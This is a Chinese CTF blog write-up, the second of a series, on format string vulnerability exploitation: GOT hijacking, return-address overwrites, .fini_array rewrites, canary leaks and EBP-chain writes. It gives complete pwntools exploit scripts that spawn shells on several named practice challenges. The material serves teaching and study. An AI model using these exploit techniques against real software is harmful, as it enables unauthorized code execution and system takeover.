格式化字符串漏洞小总结(下)
作者: Chumen77's Blog 更新时间:2020-04-03 16:59:50 原文链接
接着上一篇,这一篇主要记录一下对于这个漏洞的利用和ctf赛题中常见的套路和考法。
格式化字符串在栈上
劫持got
- 每次 call libc 中的函数时都会去GOT表中查询来找出程序下一步要jmp的位址
- 可以通过 fmt 构造写入一个目标地址,改掉 GOT 表上的地址使得call该函数时变成jmp到我们要的目标地址去
例如 :
将 printf 改成 system,原本 printf (“sh’’)就直接变成 system (“sh”),便可以拿到shell。

这一攻击过程可以分为以下几个步骤:
- 确定一下printf函数的GOT表的地址,如图中是
0x804a010
- 确定一下system函数的内存地址或者plt(通常都需要泄漏一下libc的基地址,然后加上偏移算出,当然也会遇到程序直接存在system函数,那么就是plt)
- 在栈上构造出printf函数GOT表的地址
- 利用fmt漏洞修改printf函数GOT表上的地址
然后看一个例题:
inndy-echo
保护和arch
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
ida分析
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { char s; // [esp+Ch] [ebp-10Ch] unsigned int v4; // [esp+10Ch] [ebp-Ch] v4 = __readgsdword(0x14u); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); do { fgets(&s, 256, stdin); printf(&s); } while ( strcmp(&s, "exit\n") ); system("echo Goodbye"); exit(0); }
可以看到会无限的打印你输入的东西,那就意味着可以无限次触发这个漏洞。并且还有system这个函数,那可以直接找其plt。
攻击思路:
- 在栈上放好printf函数的GOT表地址,并确定一下偏移
- 改这个GOT上的地址为system函数的plt
- 改好一会,传送一个
/bin/sh
,此时就会变成system(/bin/sh)
在执行的过程中需要注意一下,改GOT表上的值 要单次printf多次写入 ,否则只改一般程序会出现无法预料的情况。还有就是需要注意一下 字节对齐 。
gdb调试
gdb-peda$ stack 0x20 0000| 0xffffd250 --> 0xffffd26c ("AAAA\n") 0004| 0xffffd254 --> 0x100 0008| 0xffffd258 --> 0xf7fb25a0 --> 0xfbad208b 0012| 0xffffd25c --> 0x0 0016| 0xffffd260 --> 0xf7ffd000 --> 0x23f40 0020| 0xffffd264 --> 0x80482e7 ("__libc_start_main") 0024| 0xffffd268 --> 0xf63d4e2e 0028| 0xffffd26c ("AAAA\n")
gdb-peda$ fmtarg 0xffffd26c The index of format argument : 7 ("\%6$p")
确定偏移是7,但需要注意字节对齐,打算一会在写payload时候,就 ().ljust
补成0x20的 a
,也就是 offset = 7 + 0x20/4 = 15
exp
from pwn import * context.log_level = 'debug' context.arch = 'i386' # io = process('./echo') io = remote('node3.buuoj.cn',26990) system_plt = 0x08048400 printf_got = 0x0804A010 def fmt_short(prev,val,idx,byte = 2): result = "" if prev < val : result += "%" + str(val - prev) + "c" elif prev == val : result += '' else : result += "%" + str(256**byte - prev + val) + "c" result += "%" + str(idx) + "$hn" return result prev = 0 payload = "" key = 0x08048400 for i in range(2): payload +=fmt_short(prev,(key >> 16*i) & 0xffff,15+i) prev = (key >> i*16) & 0xffff payload = payload.ljust(0x20,'a') + p32(printf_got) + p32(printf_got+2) raw_input('->') io.sendline(payload) io.send('/bin/sh\x00') io.interactive()
换一种就是用pwntools中针对格式化字符串漏洞利用模块中的函数 fmtstr_payload
,面对32位,这种情况还是很好用的:
from pwn import * context.log_level = 'debug' context.arch = 'i386' # io = process('./echo') io = remote('node3.buuoj.cn',26990) system_plt = 0x08048400 printf_got = 0x0804A010 payload = fmtstr_payload(7,{printf_got : system_plt}) io.sendline(payload) io.send('/bin/sh\x00') io.interactive()
可以看一下其生成的payload,把目标地址信息放在开头,在64位是肯定是不可行的。(不过听说pwntools的新版本是已经支持64位了,但是本人一直没有更新成功,所以也没有测试)
劫持retaddress
顾名思议,就是利用格式化串漏洞来修改函数的返回地址到我们想要jmp的地址。常见套路:
system(/bin/sh)
看一个简单的例子:
三个白帽 - pwnme-k0
保护和arch
Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
64位程序,且开启了RELRO保护,这样就无法修改got表了。
ida分析
这个程序实现了一个注册用户的功能,注册好后可以来展示用户信息,修改用户信息,和退出程序。其中在展示用户信息当中,存在格式化字符串漏洞:
int __fastcall sub_400B07(char format, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, char formata, __int64 a8, __int64 a9) { write(0, "Welc0me to sangebaimao!\n", 0x1AuLL); printf(&formata, "Welc0me to sangebaimao!\n"); return printf(&a9 + 4); }
并且发现其中输出的buf就是你输入的密码:

还发现其中有个后门函数:

会调用system函数给你shell,那攻击思路也就是去修改程序中某个函数的返回地址,直接返回到这里就拿到shell了。
gdb调试:
定位到这个存在漏洞的printf当中,确定一下:

看一下此时的栈情况,输入的usename可以确定偏移是8,并且rdi也是指向了存放password的地址。
然后发现栈上也有很多栈的地址信息,当程序第二次运行到这里的时候,发现这里esp对应的地址信息也是不会变的。所以就可以通过泄漏这里的值来算出存放ret address的栈地址。
然后让程序运行到修改用户信息的函数,这下把ret address的point放到栈上,接着就可以开始修改ret address的值了。
exp
from pwn import * context.log_level = 'debug' context.arch = 'amd64' io = process('./pwnme_k0') # context.clear(arch = 'amd64') io.recvuntil('lenth:20): \n') io.sendline('%0006$lx') io.recvuntil('lenth:20): \n') io.sendline('11111111') io.recvuntil('>') io.sendline('1') # io.recvuntil('Welc0me to sangebaimao!\n') stack = int(io.recvline_contains('7f'),16) print(stack) ret_add = stack - 0x38 # system_add = 0x04008AA payload = '%2218c%8$hn' io.recvuntil('>') io.sendline('2') io.recvuntil('lenth:20): \n') io.sendline(p64(ret_add)) io.recvuntil('lenth:20): \n') io.sendline(payload) io.recvuntil('>') io.sendline('1') io.interactive()
修改 FINI_ARRAY
区
在上面的两个例子中可以发现,之所以能成功利用格式化字符串漏洞getshell,很多时候都是因为程序中存在循环,让我们可以多次触发格式化字符串漏洞。如果程序中不存在循环呢?利用ROP劫持函数返回地址到start可以实现;当存在格式化字符串漏洞时,使用这个漏洞也做到这一
点。
简单地说,一个程序在调用 main函数前会调用
.init
段代码和 .init_array
段的函数数组中每一个函数指针。同样的,main 函数结束后也会调用 .fini
段代码和 .fini_arrary
段的函数数组中的每一个函数指针。
其中
FINI_ARRAY
区:程序结束需要经过这里,是可以修改一下这里的析构函数。修改 .fini_array
区的第一个元素为start,就可以实现让程序从头再来一次,也就又可以用一次漏洞。
需要注意的是,这个区的内容在再次从start开始执行后又会被修改。
mma-ctf-2nd-2016-greeting
保护和arch
Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
ida分析
int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-84h] char v5; // [esp+5Ch] [ebp-44h] unsigned int v6; // [esp+9Ch] [ebp-4h] v6 = __readgsdword(0x14u); printf("Please tell me your name... "); if ( !getnline(&v5, 64) ) return puts("Don't ignore me ;( "); sprintf(&s, "Nice to meet you, %s :)\n", &v5); return printf(&s); }
发现函数在触发格式化字符串漏洞以后就结束了,没有在调用其他的函数,也就无法利用GOT劫持或者修改ret addr。
再看下getnline函数:
size_t __cdecl getnline(char *s, int n) { char *v3; // [esp+1Ch] [ebp-Ch] fgets(s, n, stdin); v3 = strchr(s, 10); if ( v3 ) *v3 = 0; return strlen(s); }
发现有了strlen的函数,并且其参数也是可以控制的。
这就有了攻击思路,在触发格式化字符串的漏洞时:
.fini_array /bin/sh
注意的是,这个 .fini_array
区的内容在再次从start开始执行后又会被修改,且程序可读取的字节数有限,因此需要同时修改两个地址,也就是单次printf多次写入,这个题并且需要合理调整payload。
gdb调试
这个题目因为前面有
sprintf(&s, "Nice to meet you, %s :)\n", &v5);
所以其栈上会放上 Nice to meet you,
的字符串,此时需要注意对齐。对齐后发现偏移为12,在写payload的时候可以使用单次printf多次写入的脚本,所以来 ().ljust(0x32,'a')
,所以偏移需要加上 (0x32 - 2)/4
= 24
exp
from pwn import * context.arch = 'i386' context.log_level = 'debug' io = process('./greeting') # io = remote('111.198.29.45',42729) elf = ELF('./greeting') strlen_got = 0x08049A54 fini_array = 0x08049934 start = 0x080484F0 system_plt = 0x08048490 offset = 12 def fmt_short(prev,val,idx,byte = 2): result = "" if prev < val : result += "%" + str(val - prev) + "c" elif prev == val : result += '' else : result += "%" + str(256**byte - prev + val) + "c" result += "%" + str(idx) + "$hn" return result key1 = 0x08048490 prev = 18 #注意这个题在可控格式化字符串前有字符输出 payload = "" for i in range(2): payload +=fmt_short(prev,(key1 >> 16*i) & 0xffff,24+i) prev = (key1 >> i*16) & 0xffff key2 = 0x84F0 for i in range(1): payload +=fmt_short(prev,(key2 >> 16*i) & 0xffff,26+i) prev = (key2 >> i*16) & 0xffff payload = payload.ljust(0x32,'a') payload += p32(strlen_got) + p32(strlen_got+2) +p32(fini_array) io.recvuntil('name...') raw_input('->') io.sendline(payload) io.recvuntil('name...') io.sendline('/bin/sh\x00') io.interactive()
小tips
绕过canary
可以利用fmt漏洞,任意读的特性,在有canary的程序中,算好偏移以后读出canary存的检验值(基本都是以00结尾比较好找),然后在buffer overflow 时,在对应位置填上canary检验值,即可绕过canary。
printf家族的其他函数
首先要记得一点函数参数的入栈顺序,大多是从右到左依次入栈,在遇到其他的printf类函数,在确定偏移时,一定要要把握fmt是在栈上的那个位置,然后进行计算偏移(不能简单的利用pwndbg的fmtarg了)。
- fprintf:基本上一样,只是format string 不在第一参数,使得overwrite function table 时很难使用
- sprintf:可以用%xxc 来造成新的buffer overflow
劫持 __stack_chk_fail
__stack_chk_fail __stack_chk_fail
格式化字符串不在栈上
有时候并不会这么刚好 format string 的 buf 在栈上当其在 data, bss 或是 heap 上的情况,无法在 stack 中放上一个 address 给任意读写的时候,可以使用在 stack 上现有的 pointer 进行写值。其中最常用的就是栈上现有的EBP链。
EBP链
正如这个图,当一个程序完成了由main—>A—>B的函数调用,栈上就会存在一个EBP链,像图中的ebp3(B)—>ebp2(A)—>ebp1(main),然后
- 通过找准offset1(算一下ebp3与fmt字符串距离)对EBP2使用%hhn,就可以修改到EBP1的最低位,使得EBP1在一个256的范围内进行变化,可以改成你想要修改的栈内存单元指针(比如ret address的栈指针)。
- 改写好EBP1后,找准offset2 (算一下EBP2与fmt字符串距离)再对EBP1使用%hhn或者%hn,即可完成对你想要修改的地址的写值。
简单来说,这个攻击过程就是第一次使用漏洞是构造出我们要读写的地址,再一次则是对前面构造出来的地址进行任意读写。但需要注意的是, 在这个过程当中一定要学会对栈上的已有数据的灵活的运用 。
接下来看一个题来仔细分析一下
hitcontraining-playfmt
保护和arch
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
没有任何保护。
ida分析
int do_fmt() { int result; // eax while ( 1 ) { read(0, buf, 0xC8u); result = strncmp(buf, "quit", 4u); if ( !result ) break; printf(buf); } return result; }
其中看到buf在bss段:

这就是不在栈上,不能跟前面的题目一样,直接在栈上写上地址,然后来完成攻击。
上层有main 和play函数,一共三层,且在第三层的do-fmt函数存在格式化字符串漏洞,让我们很方便的用ebp链来完成攻击。然后,有无限次的触发这个漏洞的机会。
攻击思路 :因为没有开nx保护,可以用shellcode进行攻击。修改某个函数返回地址,然后提前在可控的buf合适的地方摆上shellcode,然后跳上去即可。
gdb调试
定位到printf函数处:
gdb-peda$ b *0x0804854F Breakpoint 1 at 0x804854f
可以看一下此时的栈情况:

esp寄存器:

这里就把 0xffffd338
叫做ebp3, 0xffffd348
为ebp2, 0xffffd358
为ebp1。
第一次修改:对ebp2使用 %xxhhn
修改ebp1为do-fmt函数的retaddr 0xffffd33c
的 栈指针 (这个栈指针可以通过leak一个栈地址,然后根据偏移算出来)
第二次修改 : 对ebp1使用 %xxhn
修改retaddr 0x80485ad
为你在buf处提前摆上的shellcode
这样程序在退出这个do-fmt函数就会jmp到shellcode上,这样就拿到shell了。
exp
from pwn import * import time context.log_level = 'debug' context.arch = 'i386' io = process('./ebp') # io = remote('node3.buuoj.cn',29994) buf = 0x0804a080 + 0x40 #0x804a0c0 raw_input('->') io.sendline('%4$p') ret_stack_addr = int(io.recv(10),16) - 28 print('leak ret_stack_addr:'+hex(ret_stack_addr)) key1 = int(str(hex(ret_stack_addr))[-2:],16) key2 = 0xa0c0 payload = '%{}c%4$hhn'.format(key1) raw_input('->') io.sendline(payload) io.recv() payload = '%{}c%12$hn'.format(key2) payload = payload.ljust(0x40) payload += asm(shellcraft.sh()) io.sendline(payload) io.interactive()
这个题目就是很单纯的直接利用ebp链进行攻击即可。
然后再看一个有点不一样的题目:
inndy-echo3
保护和arch
Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
ida分析
这一处会让栈结构的情况变得无法预测。然后进入hardfmt:
for ( i = 0; i <= 4; ++i ) { read(0, buff, 0x1000u); printf(buff); }
这一处存在fmt漏洞,且往下看整个程序感觉没什么好利用的,没什么后门函数。那攻击思路就可以是: 改printf的got表,然后在第5次传过去 /bin/sh
即可。
(这个题目思路还是很简单的,但是栈的随机化,还有因为这个次数的限制,在实际操作过程中,要充分的利用每一次格式化字符串漏洞,让这个题目不是很容易做)
gdb分析
定位到漏洞printf函数处:

会发现这个情况是没有 构成ebp链 的,这个时候就需要咱们自己来仔细观察栈上的数据,然后来挑选合适的栈数据来进行利用。
因为栈情况不一样,可以选择最适合我们利用漏洞的栈空间来进行分析,这样做起来会简单一些。
我自己选择在偏移在43的时候开始进行分析,想办法来利用这个漏洞:

仔细看下此时的栈情况 ,然后再次仔细分析下我们的目标 :
- 泄漏libc基址,计算出system的内存地址。
- 在栈上构造出printf的got地址和printf的got+2的地址(0x0804a014和0x0804a016)
- 在构造的got地址上,开始写system地址
由于这个漏洞可以的用的次数最多是4次,所以要尽可能利用每一次。
如上图所示,很简单就可以泄漏出libc基址。
但是接下来怎么构造printf的got地址和printf的got地址+2的地址就有点难了。
此时注意图上前两个红框,可以发现把前二个红框 虽不是ebp 的链,但是这也是 成一个链 可以利用了。然后可以把第二个红框的两个地址修改为 第一个红框的两个栈指针:
这里可以用gdb直接来手动设置,让咱们上来就写exp调试还是挺费劲的:
gdb-peda$ set *0xffbe5e6c = 0xffbe5d54 gdb-peda$ set *0xffbe5e64 = 0xffbe5d60
这个过程中在泄漏目标栈地址以后,是可以通过一次printf函数写入2次地址,实现这个栈情况的。
接着就可以构造got地址和got+2地址:
gdb-peda$ set *0xffbe5d60 = 0x0804a016 gdb-peda$ set *0xffbe5d54 = 0x0804a014
然后就可以利用对got地址和got+2地址使用 %xhn
,写system的内存地址上printf的got了:
0120| 0xffbe5d88 --> 0xffbe5e6c --> 0xffbe5d54 --> 0x804a014 --> 0xf7e0cda0 (<__libc_system>: sub esp,0xc)
写好以后,再传过去一下 /bin/sh
即可。
exp
from pwn import * context.log_level = 'debug' context.arch ='i386' import time elf = ELF('./echo3') debug = 1 while True: if debug : io = process('./echo3') libc = elf.libc else: io = remote('node3.buuoj.cn',25057) libc = ELF('./libc-2.23.so.i386') payload = '%43$pA%30$pA%47$p' io.sendline(payload) address = io.recvline().strip() if address[-3:] == '637': if address[7:10] == '637': libc_base = int(address[2:10],16) - 247 - libc.symbols['__libc_start_main'] tag1_stack_point = int(address[13:21],16) - 0x118 tag2_stack_point = int(address[13:21],16) - 0x104 - 0x8 system_addr = libc_base + libc.symbols['system'] print('system_addr ->' + hex(system_addr)) print('tag1_stack_point ->' + hex(tag1_stack_point)) print('tag2_stack_point ->' + hex(tag2_stack_point)) break else : io.close() continue def fmtshort(prev,val,idx,byte = 2): result = "" if prev < val : result += "%" + str(val - prev) + "c" elif prev == val : result += '' else : result += "%" + str(256**byte - prev + val) + "c" result += "%" + str(idx) + "$hn" return result def fmtbyte(prev,val,idx,byte = 1): result = "" if prev < val : result += "%" + str(val - prev) + "c" elif prev == val : result += '' else : result += "%" + str(256**byte - prev + val) + "c" result += "%" + str(idx) + "$hhn" return result printf_got = 0x0804a014 key1 = int(hex(tag1_stack_point)[-4:],16) key2 = int(hex(tag2_stack_point)[-4:],16) info('--------change the two points to tag_stack_point:-------') # raw_input('->') prev = 0 payload = "" for i in range(1): payload +=fmtshort(prev,(key1 >> 16*i) & 0xffff,30+i) prev = (key1 >> i*16) & 0xffff for i in range(1): payload +=fmtshort(prev,(key2 >> 16*i) & 0xffff,31+i) prev = (key2 >> i*16) & 0xffff payload = payload + '1111' io.sendline(payload) io.recvuntil('1111') info('--------change got_table to printf_got:-------') prev = 0 payload = "" key3 = 0x14 key4 = 0x16 for i in range(1): payload +=fmtbyte(prev,(key3 >> 8*i) & 0xff,87+i) prev = (key3 >> i*8) & 0xff for i in range(1): payload +=fmtbyte(prev,(key4 >> 8*i) & 0xff,85+i) prev = (key4 >> i*8) & 0xff payload = payload + '2222' io.sendline(payload) io.recvuntil('2222') info('--------change printf_got to system_addr:-------') raw_input('->') prev = 0 payload = "" key5 = int(hex(system_addr)[-4:],16) key6 = int(hex(system_addr)[2:6],16) print('key5 -> ' + hex(key5)) print('key6 -> ' + hex(key6)) for i in range(1): payload +=fmtshort(prev,(key5 >> 16*i) & 0xffff,17+i) prev = (key5 >> i*16) & 0xffff for i in range(1): payload +=fmtshort(prev,(key6 >> 16*i) & 0xffff,20+i) prev = (key6 >> i*16) & 0xffff payload = payload + '3333' io.sendline(payload) sleep(1) io.recvuntil('3333') raw_input('>>>>>>>>>>') io.sendline('/bin/sh\x00\x00\x00\x00\x00\x00') io.interactive()
这个exp的难点在于:
- 注意去定位到合适的栈结构再去利用
- 尽量充分利用每一次的printf
- 单次printf多次写入
- 注意每次传数据过去后,一定要接收一下,并且再一次的数据读入要防止bss上的缓冲区里面参杂数据的影响。
小总结
通过这两个例题说明,面对fmt的buf不在栈上时,归根结底也就是一定要学会 灵活、充分的利用栈上的数据 ,单纯的ebp链只是适合简单的情况。
但是也是做题时,也是一定要优先考虑ebp链是否能利用,因为ebp链构成的话,它的相对偏移就是 针对性程序本身的 ,基本不会受到libc版本的影响,用起来很好用,要优先考虑。
还有就是面对这种会 有随机栈情况、没有ebp链 的题目,一定要注意本地和远程的libc版本、注意环境,因为这些不一样导致栈的情况也是不一样的,导致exp也要有相应的变化。